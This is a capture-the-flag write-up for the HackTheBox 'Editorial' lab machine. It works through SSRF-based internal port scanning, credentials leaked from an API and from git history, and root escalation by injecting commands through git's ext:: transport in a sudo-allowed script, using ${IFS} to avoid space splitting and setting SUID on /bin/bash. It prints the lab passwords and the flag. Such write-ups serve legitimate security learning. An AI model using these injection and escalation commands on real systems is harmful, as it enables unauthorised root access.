> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-editorial.md).

# HTB - Editorial

Difficulty: Easy Category: Web / SSRF / Git Credential Leak / Sudo Misconfiguration

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## HTTP

Browsing to port 80 reveals the domain name.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FEafqLUNJytOtfw3gqfrD%2Fimage.png?alt=media&amp;token=faaa6f9f-5a03-4515-962d-50fb23beb64e" alt=""><figcaption></figcaption></figure>

add the domain to the hosts file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FNZCO0G6fD0WOEn1xTnVW%2Fimage.png?alt=media&amp;token=91583473-eec6-40a4-92fc-2b0161903d82" alt=""><figcaption></figcaption></figure>

Standard enumeration turned up a web application on `editorial.htb`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FBOBcPG7cH1XRODWlCwbi%2Fimage.png?alt=media&amp;token=dab76ca3-a679-4328-872f-dc0d70c4dd9f" alt=""><figcaption></figcaption></figure>

The site allowed uploading a "book cover" by providing a URL, which the server would fetch server-side and store locally:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FaqEtkMzPsCw19emmlqEU%2Fimage.png?alt=media&amp;token=c3d64f5c-d4c3-4368-b1c1-054463d8d4f5" alt=""><figcaption></figcaption></figure>

the url field fetches the file on my local host.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F35r4R4SDATXDmoBbXG5r%2Fimage.png?alt=media&amp;token=9f604d5b-3001-4f8c-8781-19a868bccb24" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FAvEOZa0huxTbNJhiGRor%2Fimage.png?alt=media&amp;token=cb9eb745-acb5-4fca-bae3-9fb64290ab03" alt=""><figcaption></figcaption></figure>

a good place to look for SSRF.

### SSRF

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FlkQT8A0zLY2ibAlVmOWn%2Fimage.png?alt=media&amp;token=35ee8fac-fdf7-4507-8af0-68ae682250d2" alt=""><figcaption></figcaption></figure>

i can fetch the internal server. so the next i am gonna do is look for internal ports.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FcNDck8sPcAzVbCbf4tnb%2Fimage.png?alt=media&amp;token=c4d75425-9ca5-49f5-ac67-44241a4a10a7" alt=""><figcaption></figcaption></figure>

the response time for existing port is 20,075 milliseconds.

non existent port results in 48 milliseconds instantly.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FMJRPoDAEm9WL1d078hXi%2Fimage.png?alt=media&amp;token=e96e2c7b-4aa6-4467-80a5-25539e612bbe" alt=""><figcaption></figcaption></figure>

Requests to closed ports failed (connection refused) almost instantly. Requests to **open** ports took noticeably longer, since the server actually established a TCP connection and waited on a response before saving/erroring out. This time delta is a reliable oracle for a blind internal port scan.

now that i know this, i can use fuff to look for internal ports.

`seq 1 65535 > /tmp/ports.txt`

```bash
──(ajay㉿kali)-[~]
└─$ ffuf -u http://editorial.htb/upload-cover \
  -X POST \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZXJeCaPab5hmiRnh" \
  -d $'------WebKitFormBoundaryZXJeCaPab5hmiRnh\r\nContent-Disposition: form-data; name="bookurl"\r\n\r\nhttp://127.0.0.1:FUZZ/\r\n------WebKitFormBoundaryZXJeCaPab5hmiRnh\r\nContent-Disposition: form-data; name="bookfile"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryZXJeCaPab5hmiRnh--\r\n' \
  -w /tmp/ports.txt \
  -mc all \
  -t 50 \
  -p 0.02 -fs 61

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://editorial.htb/upload-cover
 :: Wordlist         : FUZZ: /tmp/ports.txt
 :: Header           : Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZXJeCaPab5hmiRnh
 :: Data             : ------WebKitFormBoundaryZXJeCaPab5hmiRnh
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ/
------WebKitFormBoundaryZXJeCaPab5hmiRnh
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryZXJeCaPab5hmiRnh--

 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Delay            : 0.02 seconds
 :: Matcher          : Response status: all
 :: Filter           : Response size: 61
________________________________________________

5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 285ms]port 5000 is open.
```

**Port 5000** was open internally and responding normally  a strong indicator of an internal Flask API not exposed to the outside world.

Fetching `http://127.0.0.1:5000/` through the SSRF resulted in saving output to a file on the server.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYAB9Knsz4PJLr2JnFmDD%2Fimage.png?alt=media&amp;token=07e1c5a1-51f3-4d10-947e-86ab42d920a0" alt=""><figcaption></figcaption></figure>

i need to fetch the file to read its content.

```bash
┌──(ajay㉿kali)-[~]
└─$ curl http://editorial.htb/static/uploads/ff4ca00b-73c6-4d97-9437-600bd600fa7c -s | jq .
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
} 

```

The `new_authors` endpoint (an onboarding "welcome" message template) was the most promising candidate for leaked secrets. Fetching it via the same SSRF chain:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FwUKwLkIvJL05UzKSlHCA%2Fimage.png?alt=media&amp;token=bfd7f343-6a32-42a8-b585-39c6daa00494" alt=""><figcaption></figcaption></figure>

```bash
┌──(ajay㉿kali)-[~]
└─$ curl http://editorial.htb/static/uploads/e592c520-84b9-47ec-84fd-6a0a64932163 -s | jq .
{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

```

This yielded a working set of credentials: **`dev` / `dev080217_devAPI!@`**

## SSH as DEV

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfXyBmcPyY7FIg3SkAyIE%2Fimage.png?alt=media&amp;token=54a5e041-0b26-449d-8d9d-91802f2c4172" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FoTNop7hfi7UrzyaiHquF%2Fimage.png?alt=media&amp;token=7c0e163d-4f2c-4d08-961d-80063e478e4b" alt=""><figcaption></figcaption></figure>

there is a git directory in the apps directory.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F58Zwqh0l2FyshL77zt9c%2Fimage.png?alt=media&amp;token=b9172abc-4acc-4019-98bd-b882d1f4121f" alt=""><figcaption></figcaption></figure>

```bash
dev@editorial:~/apps/.git$ ls
branches  COMMIT_EDITMSG  config  description  HEAD  hooks  index  info  logs  objects  refs

dev@editorial:~/apps/.git$ git log --all --oneline
8ad0f31 (HEAD -> master) fix: bugfix in api port endpoint
dfef9f2 change: remove debug and update api port
b73481b change(api): downgrading prod to dev
1e84a03 feat: create api to editorial info
3251ec9 feat: create editorial app
dev@editorial:~/apps/.git$ 
```

The commit message `change(api): downgrading prod to dev` was an immediate red flag  it implies a **prior, more privileged credential set existed before being swapped out**. Old credentials that get "removed" from the current file are still fully recoverable from git history unless the repo is rewritten/squashed:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FSJ9ilY1peECmjFj6RPzx%2Fimage.png?alt=media&amp;token=d0bd783c-7aca-4d86-8ff1-94060cfe8de7" alt=""><figcaption></figcaption></figure>

looking at the git history reveals the password of prod.

```bash
Username: prod
Password: 080217_Producti0n_2023!@
```

## Shell as Prod

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FZLZLMI8hZmbdoqsKIJg5%2Fimage.png?alt=media&amp;token=63104054-66de-4933-98f3-e9b64a013e47" alt=""><figcaption></figcaption></figure>

```bash
/prod@editorial:~$ sudo -l
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:~$ 
```

`prod` can run a specific script as root, with **arbitrary arguments** (`*` wildcard).

```bash
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```

The script clones a **user-controlled URL** and explicitly enables git's `ext::` transport (`protocol.ext.allow=always`). Git's `ext::` protocol allows specifying an **arbitrary local command** as the transport helper instead of a real remote.

```
ext::<command> <args>
```

git will execute `<command>` directly rather than connecting to a network remote. Since the wrapper script runs as `root` via `sudo`, whatever command is embedded in the `ext::` string executes **as root.**

**I am gonna create new file called /tmp/pwned using this vulnerability to confirm that i can access the root.**

```bash
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c touch% /tmp/pwned"
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/pwned new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Aug  4 03:03 /tmp/pwned
prod@editorial:~$ 

```

That error is actually expected the touch command doesn't speak the git protocol, so the clone itself fails after the command runs.

Now that i have confirmed the vulnerability, i am gonna set a suid bit for the /bin/bash and use it to access the root shell.

```bash
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod\ +s\ /bin/bash'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod/ +s/ /bin/bash new_changes
  stderr: 'Cloning into 'new_changes'...
+s/: 1: chmod/: not found
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash

```

The `%` and `\` were being interpreted by git's `ext::` connection-string parser as literal escape/placeholder characters, not passed through as is that's why they showed up mangled in the resolved `cmdline:` output (`chmod/ +s/ /bin/bash).`

git splits the `ext::` command string **on literal space characters** to build the argv for the helper. So `sh -c chmod +s /bin/bash` gets split into 5 separate tokens (`sh`, `-c`, `chmod`, `+s`, `/bin/bash`) instead of the 3 we want (`sh`, `-c`, `chmod +s /bin/bash`) — meaning `sh -c` only ever receives `chmod` as its command string, with `+s` and `/bin/bash` becoming useless positional parameters instead of part of the command.

**use `${IFS}` in place of the spaces&#x20;*****inside*****&#x20;the actual command we want to run**, so there are no literal spaces for git to split on within that final token — while still keeping the two spaces that separate `sh`, `-c`, and the command itself:

```bash
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod${IFS}+s${IFS}/bin/bash'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod${IFS}+s${IFS}/bin/bash new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash

```

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FcLzdAgxJ3SMEobKCatpu%2Fimage.png?alt=media&amp;token=501bbaee-0624-4b9b-af65-9c6eb9fb68c5" alt=""><figcaption></figcaption></figure>

```bash
bash-5.1# cd /root
bash-5.1# ls
root.txt
bash-5.1# cat root.txt
8994d77ea01ed01b9616721a9c5d5f99
bash-5.1# 
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-editorial.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
